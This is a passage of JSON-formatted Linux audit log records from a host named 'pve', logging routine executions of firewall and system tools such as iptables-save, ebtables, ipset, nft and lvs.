name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395125,"@rawstring":"node=pve type=PATH msg=audit(1781965395.125:65427): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395125,"@rawstring":"node=pve type=PATH msg=audit(1781965395.125:65427): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395117,"@rawstring":"node=pve type=PATH msg=audit(1781965395.117:65426): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395117,"@rawstring":"node=pve type=PATH msg=audit(1781965395.117:65426): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395111,"@rawstring":"node=pve type=PATH msg=audit(1781965395.111:65425): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395111,"@rawstring":"node=pve type=PATH msg=audit(1781965395.111:65425): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395107,"@rawstring":"node=pve type=PATH msg=audit(1781965395.107:65424): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395107,"@rawstring":"node=pve type=PATH msg=audit(1781965395.107:65424): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395103,"@rawstring":"node=pve type=PATH msg=audit(1781965395.103:65423): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395103,"@rawstring":"node=pve type=PATH msg=audit(1781965395.103:65423): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395103,"@rawstring":"node=pve type=PATH msg=audit(1781965395.103:65422): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395103,"@rawstring":"node=pve type=PATH msg=audit(1781965395.103:65422): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395103,"@rawstring":"node=pve type=PATH msg=audit(1781965395.103:65421): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395099,"@rawstring":"node=pve type=PATH msg=audit(1781965395.099:65420): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395099,"@rawstring":"node=pve type=PATH msg=audit(1781965395.099:65420): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395099,"@rawstring":"node=pve type=PATH msg=audit(1781965395.099:65420): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395093,"@rawstring":"node=pve type=PATH msg=audit(1781965395.093:65419): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395093,"@rawstring":"node=pve type=PATH msg=audit(1781965395.093:65419): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395085,"@rawstring":"node=pve type=PATH msg=audit(1781965395.085:65418): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395085,"@rawstring":"node=pve type=PATH msg=audit(1781965395.085:65418): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395079,"@rawstring":"node=pve type=PATH msg=audit(1781965395.079:65417): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395079,"@rawstring":"node=pve type=PATH msg=audit(1781965395.079:65417): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395071,"@rawstring":"node=pve type=PATH msg=audit(1781965395.071:65416): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395071,"@rawstring":"node=pve type=PATH msg=audit(1781965395.071:65416): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395064,"@rawstring":"node=pve type=PATH msg=audit(1781965395.064:65415): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395064,"@rawstring":"node=pve type=PATH msg=audit(1781965395.064:65415): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965394890,"@rawstring":"node=pve type=PATH msg=audit(1781965394.890:65414): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965394890,"@rawstring":"node=pve type=PATH msg=audit(1781965394.890:65414): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965394866,"@rawstring":"node=pve type=PATH msg=audit(1781965394.866:65413): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965394866,"@rawstring":"node=pve type=PATH msg=audit(1781965394.866:65413): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392850,"@rawstring":"node=pve type=PATH msg=audit(1781965392.850:65412): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392850,"@rawstring":"node=pve type=PATH msg=audit(1781965392.850:65412): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392850,"@rawstring":"node=pve type=PATH msg=audit(1781965392.850:65411): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392850,"@rawstring":"node=pve type=PATH msg=audit(1781965392.850:65410): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392842,"@rawstring":"node=pve type=PATH msg=audit(1781965392.842:65409): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392842,"@rawstring":"node=pve type=PATH msg=audit(1781965392.842:65409): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392842,"@rawstring":"node=pve type=PATH msg=audit(1781965392.842:65408): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392842,"@rawstring":"node=pve type=PATH msg=audit(1781965392.842:65407): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387836,"@rawstring":"node=pve type=PATH msg=audit(1781965387.836:65406): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387836,"@rawstring":"node=pve type=PATH msg=audit(1781965387.836:65406): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387836,"@rawstring":"node=pve type=PATH msg=audit(1781965387.836:65405): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387835,"@rawstring":"node=pve type=PATH msg=audit(1781965387.835:65404): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387829,"@rawstring":"node=pve type=PATH msg=audit(1781965387.829:65403): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387829,"@rawstring":"node=pve type=PATH msg=audit(1781965387.829:65403): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387829,"@rawstring":"node=pve type=PATH msg=audit(1781965387.829:65402): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387829,"@rawstring":"node=pve type=PATH msg=audit(1781965387.829:65401): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386054,"@rawstring":"node=pve type=PATH msg=audit(1781965386.054:65399): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386054,"@rawstring":"node=pve type=PATH msg=audit(1781965386.054:65399): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386047,"@rawstring":"node=pve type=PATH msg=audit(1781965386.047:65398): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386047,"@rawstring":"node=pve type=PATH msg=audit(1781965386.047:65398): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386046,"@rawstring":"node=pve type=PATH msg=audit(1781965386.046:65397): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386046,"@rawstring":"node=pve type=PATH msg=audit(1781965386.046:65397): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386046,"@rawstring":"node=pve type=PATH msg=audit(1781965386.046:65396): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386042,"@rawstring":"node=pve type=PATH msg=audit(1781965386.042:65395): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386042,"@rawstring":"node=pve type=PATH msg=audit(1781965386.042:65395): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386042,"@rawstring":"node=pve type=PATH msg=audit(1781965386.042:65395): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386034,"@rawstring":"node=pve type=PATH msg=audit(1781965386.034:65394): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386034,"@rawstring":"node=pve type=PATH msg=audit(1781965386.034:65394): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386029,"@rawstring":"node=pve type=PATH msg=audit(1781965386.029:65393): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386029,"@rawstring":"node=pve type=PATH msg=audit(1781965386.029:65393): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386021,"@rawstring":"node=pve type=PATH msg=audit(1781965386.021:65392): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386021,"@rawstring":"node=pve type=PATH msg=audit(1781965386.021:65392): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386015,"@rawstring":"node=pve type=PATH msg=audit(1781965386.015:65391): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386015,"@rawstring":"node=pve type=PATH msg=audit(1781965386.015:65391): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386009,"@rawstring":"node=pve type=PATH msg=audit(1781965386.009:65389): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386009,"@rawstring":"node=pve type=PATH msg=audit(1781965386.009:65389): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386003,"@rawstring":"node=pve type=PATH msg=audit(1781965386.003:65388): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386003,"@rawstring":"node=pve type=PATH msg=audit(1781965386.003:65388): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385999,"@rawstring":"node=pve type=PATH msg=audit(1781965385.999:65387): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385999,"@rawstring":"node=pve type=PATH msg=audit(1781965385.999:65387): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385993,"@rawstring":"node=pve type=PATH msg=audit(1781965385.993:65386): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385993,"@rawstring":"node=pve type=PATH msg=audit(1781965385.993:65386): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385987,"@rawstring":"node=pve type=PATH msg=audit(1781965385.987:65385): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385987,"@rawstring":"node=pve type=PATH msg=audit(1781965385.987:65385): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385983,"@rawstring":"node=pve type=PATH msg=audit(1781965385.983:65384): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385983,"@rawstring":"node=pve type=PATH msg=audit(1781965385.983:65384): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385974,"@rawstring":"node=pve type=PATH msg=audit(1781965385.974:65383): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385974,"@rawstring":"node=pve type=PATH msg=audit(1781965385.974:65383): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385967,"@rawstring":"node=pve type=PATH msg=audit(1781965385.967:65382): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385967,"@rawstring":"node=pve type=PATH msg=audit(1781965385.967:65382): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385964,"@rawstring":"node=pve type=PATH msg=audit(1781965385.964:65381): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385964,"@rawstring":"node=pve type=PATH msg=audit(1781965385.964:65381): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385961,"@rawstring":"node=pve type=PATH msg=audit(1781965385.961:65380): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385961,"@rawstring":"node=pve type=PATH msg=audit(1781965385.961:65380): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385959,"@rawstring":"node=pve type=PATH msg=audit(1781965385.959:65379): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385959,"@rawstring":"node=pve type=PATH msg=audit(1781965385.959:65379): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385959,"@rawstring":"node=pve type=PATH msg=audit(1781965385.959:65378): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385955,"@rawstring":"node=pve type=PATH msg=audit(1781965385.955:65377): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385955,"@rawstring":"node=pve type=PATH msg=audit(1781965385.955:65377): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385955,"@rawstring":"node=pve type=PATH msg=audit(1781965385.955:65377): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385949,"@rawstring":"node=pve type=PATH msg=audit(1781965385.949:65376): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385949,"@rawstring":"node=pve type=PATH msg=audit(1781965385.949:65376): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385941,"@rawstring":"node=pve type=PATH msg=audit(1781965385.941:65375): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385941,"@rawstring":"node=pve type=PATH msg=audit(1781965385.941:65375): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385937,"@rawstring":"node=pve 